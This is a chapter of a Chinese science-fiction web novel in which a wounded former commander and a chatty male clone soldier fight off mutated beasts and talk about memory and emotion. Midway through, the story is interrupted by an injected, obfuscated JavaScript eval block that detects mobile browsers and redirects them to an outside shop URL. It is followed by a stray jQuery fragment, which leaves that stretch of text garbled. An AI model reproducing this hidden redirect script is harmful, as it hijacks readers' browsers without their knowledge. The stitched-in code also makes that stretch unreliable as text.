第一节:痴情话痨。
三声清晰的电子音,切断了深山夜雾里的寂静。
巴图顿住脚步。
枯瘦的左手摸向腰间,那枚旧信号屏蔽器还待在温热的皮质枪套里,刚才的震感似乎还残留在掌心。
她将它抠出来。
借着微弱的应急灯光,黑色外壳上几道深浅不一的划痕清晰可见。
四十九年前,她被困在叛军地牢,Jay闯进来救她时, “只要它响,我就会找到你。”
她晃了晃,又在掌心磕了两下。
设备没再发出半点声响。
“没坏……”
一声极轻的呢喃。
这东西没坏。
那三声提示意味着什么?
她没有继续往下想,只是将屏蔽器握在掌心。
“统领大人?”
身后传来卡特略显迟疑的声音。
他正弓着身调试左臂的生物探测器,屏幕上密麻的红点闪烁不定。
“探测器显示,一公里内有多个移动目标,正在往咱们这边靠。”
巴图没回头。
她冷哼一声,强撑着挺直脊背往前走。
右脚掌踩在碎石上,硌得生疼,额角的伤口跟着抽痛。
右手那只Jay当年修复的旧义肢发出“咔哒”的脆响,一道裂痕在灯光下格外刺眼。
她摸向大腿外侧的枪套,除了刚才拔出的手枪,再无备用弹匣;她又按了按左腕的战术终端,屏幕依旧死黑。
没有军队,没有后援。
身后跟着的,只有那个连意识上传都不敢按的男性克隆体。
“你这旧古董是干啥用的?”
卡特快步跟上,机甲关节随着步伐发出细碎的咔咔声,嘴也没闲着:
“是定位器吗?刚才响了三声,你磕了磕又没动静了,是不是又坏了?”
巴图懒得理会,脚步未停。
“那…… Eva大人是啥时候培育出来的呀?”
卡特见她不说话,又换了个话题,语调不自觉地扬了起来:
“我叫卡特,好像是三年前培育出来的;但是又有克隆人工友说我是‘重生’了好几次。你好像不爱搭理我。”
他自顾自地往下说: “我当维修工的时候,总忍不住看Eva大人;她擦能量枪的时候特别认真,连枪膛里的纹路都要擦三遍。”
巴图的脚步顿了顿,鼻腔里发出一声极轻的冷哼。
克隆人就是克隆人,哪怕里昂吹嘘这是“最完美的男性战士”,也不过是堆没有脑子的金属和血肉。
她瞥了眼卡特,冷声道: “之前不培育你们男性士兵,就是因为你们太粗鲁粗糙。”
“哦……”
卡特的机甲手指在头盔边缘刮出轻微的声响:
“那里昂副统领说要大批量生产跟我一样的男性,我现在该叫他总统领了吧?”
巴图左手的指骨攥紧,骨节在皮下凸起。
她停下脚步,敲了敲腰间的信号屏蔽器,冷冷瞥向他:
“磨磨蹭蹭的,想被那些移动目标盯上?”
“知道了,统领大人,我这就跟上。”
卡特立刻加快脚步,机甲脑袋歪了歪,又忍不住反问:
“我现在还要叫你统领大人吗?你已经不是统领大人了…… 那我叫你巴图大人吧?”
他顿了顿,突然想起什么,话头一转:
“对了巴图大人,我要不要跟总部联系一下?里昂总统领现在掌权,要是我传意识回去,说不定能申请救援…… 但我怕从培育仓出来又会失忆。”
巴图侧过脸,视线扫过卡特头盔的接缝处。
“既然你心里已经认了新统领,我的命令又有何意义?你想怎么做,随你便。”
“不是我不认你!”
卡特急忙摆手,机甲关节发出“咔咔”的声响:
“我就是觉得…… 你现在只有一把能量枪,右手义肢还坏了,周围这么危险,总不能真的让你一人在这儿硬扛吧?”
他的机甲手指互相摩擦了两下,发出轻微的金属刮擦声:
“我才入伍不到一年,其实我不是被里昂统领生产出来的,我是自愿加入阿尔法清剿队的,但是她们只让我擦武器,擦军靴…… 我只是想靠近Eva大人而已。”
他看着巴图布满血污的侧脸,语气执拗:
“巴图大人,虽然你不喜欢我,但我要离开了,你自己肯定对付不了那些东西。看你打爆Eva大人脑袋的时候,我心里挺不舒服的,但现在也不能丢下你不管吧?”
巴图皱了皱眉,没再接话,转身继续往前走,只是脚步比刚才慢了些。
卡特见她没反对,立刻跟上,嘴里的话头又接上了:
“我就知道你不会真赶我走的。巴图大人,你说咱们往这边走,是不是真能找到什么呀?刚才那信号器响了,说不定就是在给咱们指路呢……”
巴图懒得搭腔,左手拇指搓着能量枪的保险栓。
环境光衰减至最低阈值,应急灯的光源熄灭。
卡特机甲肩部探照灯的锥形光束,只能切开前方不到五米的视野。
他胸甲上的探测器突然爆出高频蜂鸣。
全息屏上的红点密度骤增,数十个坐标正以每秒十米的速度向中心点收缩。
“不好!”
卡特左臂机甲外壳翻转,淡蓝色的能量盾发生器弹出并充能。
右臂机械结构随之咬合,一截银白色的粒子刃从关节处弹射而出,刃面折射出探照灯的冷光。
光束边缘,数十对幽绿色的反光点同时亮起。
肩高超过一米的变异兽群踏入光晕。
狼科躯干,猪科粗肢,脊背凸起一排二十厘米长的骨质增生。
灰黑色的表皮分泌着黏液,下颌滴落着浑浊的液体。
领头的变异兽后腿肌肉绷紧,直接跃起,獠牙直逼巴图的颈动脉。
巴图左脚后撤半步,躯干侧倾避开扑击轨迹。
左手顺势拔出腰间手枪,拇指解除保险,食指扣压扳机。
枪口燃爆的闪光照亮。
“砰!”
光束穿透变异兽的左眼窝。
怪物前冲的动能溃散,砸在碎石地上。
更多的变异兽涌入光晕,两人的防御圈被迫压缩,背部最终撞上彼此。
巴图的呼吸频率加快,左臂肌肉因持续后坐力出现轻微痉挛,弹着点开始偏移。
一只变异兽的骨刺擦过她的左肩,战术服纤维断裂,温热的血液涌出;狼猪的涎液溅在她的脖颈处,带着粘腻的触感与挥之不去的腥臭味。
“巴图大人,小心!”
卡特的声波通过空气介质传入耳膜。
他左臂机甲下沉,能量盾硬扛下三头变异兽的动能冲击;右臂粒子刃横向切割,高频震荡将两头跃起的怪物从躯干处剖开。
暗红色的血液与灰绿色黏液呈放射状溅射在卡特的胸甲上。
巴图左手虎口因连续承受后坐力崩开血口,食指再次扣压扳机。
击发模块仅传出微弱的继电器“咔哒”声,枪身侧面的能量槽指示灯闪烁两下。
她左臂肌肉因持续承受高频后坐力出现不受控的痉挛。
枪身前端的散热栅格泛着暗红,空气中弥漫开绝缘涂层烤焦与电离臭氧的混合气味。
视线余光中,一头变异兽绕过能量盾的覆盖半径,后肢蹬地扑向她的视觉盲区。
卡特腰部伺服电机爆发出高转速嗡鸣,躯干完成180度反转。
能量盾边缘钝击变异兽颅骨,右臂粒子刃顺势自下而上贯穿其颈部软组织。
“别愣着!”
卡特发声时,胸腔共鸣腔输出功率调至最大。
他迈出左腿,重心下沉。
能量盾前推,粒子刃横扫,在身前切出交叉的防御扇面。
机械臂起,落。
每一次挥击,都砸出骨骼碎裂的钝响;每一次切割,都带起高温灼烧血肉的嘶嘶声。
最后一只变异兽的神经中枢被切断,庞大的躯干砸在碎石上,四肢发生了几次无规则的肌肉痉挛后,停止生命体征。
环境音降至最低,只剩两人高频的呼吸声。
探照灯的冷光打在石阶上,将机甲与战术背心的投影拉长,投射在向上的坡道上。
卡特转过身,光学传感器捕捉到巴图膝关节弯曲角度异常、重心正在下坠的物理轨迹。
他伸出机械臂,试图提供支撑。
合金指尖刚触碰到巴图的战术服袖管,就被她用手背格挡了一下。
撞击力道微弱,未能改变机械臂的运动轨迹。
卡特锁定肘部关节,顺势承托住她的重量:
“巴图大人,你没事吧?”
卡特胸腔的共鸣腔微微震动,发声时的音调被他刻意压得很低。
巴图眉头紧锁,毫不犹豫地拂开了那只冰冷的机械手。
她没让他继续搀扶,而是反手将打空的手枪插回腰间枪套。
伴随着一声粗重的喘息,她凭借着刻在骨子里的肌肉记忆,撑起了佝偻的脊背,重新站得笔挺。
卡特的手僵在半空,随后克制地收回,垂落在机甲身侧。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669889|207352||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夜风倒灌进石阶,吹散了空气中浓重的血腥与电离臭氧味。
巴图垂下眼睫,看着战术服上斑驳的血污和正在凝固的黏液,眼底闪过毫不掩饰的嫌恶。
她找不到干净的布料,只能抬起那只未受伤的左手,用粗糙的战术手套手背,用力蹭去脸颊上的污迹。
巴图看着卡特,目光一顿。
刚才在石阶上,他举着能量盾顶住冲击、半步不退地护在自己身前的样子,总有种强烈的既视感。
那种近乎本能的守护姿态,极像亲手培育的第一代女性赛博战士——Ruki那一代。
巴图的脑海中闪过培养舱里幽蓝的指示灯,以及那些被强行植入虚假记忆的克隆体。
她们指令绝对服从,在猎杀变异族时,眼底只有机械般的死寂。
可眼前这个卡特,似乎是个异类。
他会为Eva的死产生情绪波动,会违抗指令留下来断后。
这些行为逻辑,早已超出了底层代码的框架。
巴图收回视线,语速比平时慢了: “你回想一下,你的记忆里都存在着什么?”
卡特的动作停顿了,他没料到巴图会突然问这个;抬起右臂,厚重的机甲手指在头盔侧面磕了两下。
“工友们说,我八年前就被培育出来了。但是三年前工业事故,被炸得只剩10%的克隆体。然后就把我的DNA送去做第一代男性赛博战士的培育实验了;我这身机甲已经不知道换过几次了。”
他顿了顿,机甲头部的光学传感器闪烁了两下,在检索数据:
“为了能每天见Eva大人,我刻苦训练,不到一年前破例被送去阿尔法的维修组。”
他重新抬起头,光学镜头锁定着巴图: “我就是个克隆人,哪有什么复杂的记忆呀?我的任务就是听指挥官的命令战斗,虽然我从未上过什么战场吧,刚刚算是第一次‘杀敌’。一上来就能保护巴图大人,我挺开心,挺荣幸的。”
巴图没有接话。
她摩挲着腰间的信号屏蔽器,粗糙的金属边缘硌着指腹。
没有植入虚假记忆?
里昂这次的手段,倒是出乎她的意料。
可卡特刚才表现出的那些复杂情绪,又该用什么逻辑来解释?
巴图不可避免地想起了Ruki。
那些初代女性克隆体,偶尔也会出现类似“记忆紊乱”的微小波动。
而那些看来无用的情绪涟漪,最终都被判定为程序瑕疵。
见巴图不接茬,卡特憋不住了。
“这破头盔戴久了,连喘气都带着一股机油味,闷死我了。”
他小声嘟囔了一句,索性抬起厚重的机械臂,卡住头盔边缘的卡扣。
“咔哒”一声气密锁解除的脆响,他把那颗沉重的金属脑袋摘了下来,随手丢在一旁的碎石堆上。
夜风灌了进去,吹散了浓重的血腥味。
一头褐色的短发因为长期缺乏营养,透着股毛躁的枯草感,此刻被汗水濡湿,软趴趴地贴在额前。
他的皮肤是那种常年待在机甲舱里不见天日的亚白色,甚至能看清颈侧淡淡的青色血管,但下颌的线条却透着年轻战士特有的干净利落。
最惹眼的是那双眼睛——深蓝色的义眼。
瞳孔边缘还带着细微的、尚未完全隐匿的机械光圈,但在夜色下,却像两颗浸在冷泉里的蓝宝石。
没有杀戮者的戾气,只透着毫无防备的清澈与憨直。
他毫无形象地甩了甩那头乱发,长长地舒了一口气,话匣子这下是关不住了:
“虽然我脑子里没装什么大道理,但关于Eva大人的细节,我可是记得很清楚……”
他的语速不自觉地加快了:“上次训练结束,她在机甲库擦枪,阳光照在她的肩甲上,连上面的划痕我都看得一清二楚;还有一次模拟对抗,她明明赢了,却蹲下来帮对手检查机甲关节。那时候我就觉得……她特别不一样。”
卡特自顾自地说着,完全没意识到自己又把话题绕回了Eva身上。
那双义瞳亮得惊人。
巴图摇了摇头,视线从他身上移开,投向远处漆黑的山路。
里昂那个老狐狸,终究是在这批战斗克隆体里留下了致命的情感冗余。
她从不相信培养皿里能诞生真正的灵魂。
卡特此刻的这副模样,在她眼里,不过是底层代码里一行未被清理干净的错误乱码罢了。
“巴图大人?你怎么不说话?我唠叨完了,还是继续跟着你走吧。探测器显示周围暂时安全,咱们下一步往哪儿走?”
第一节完。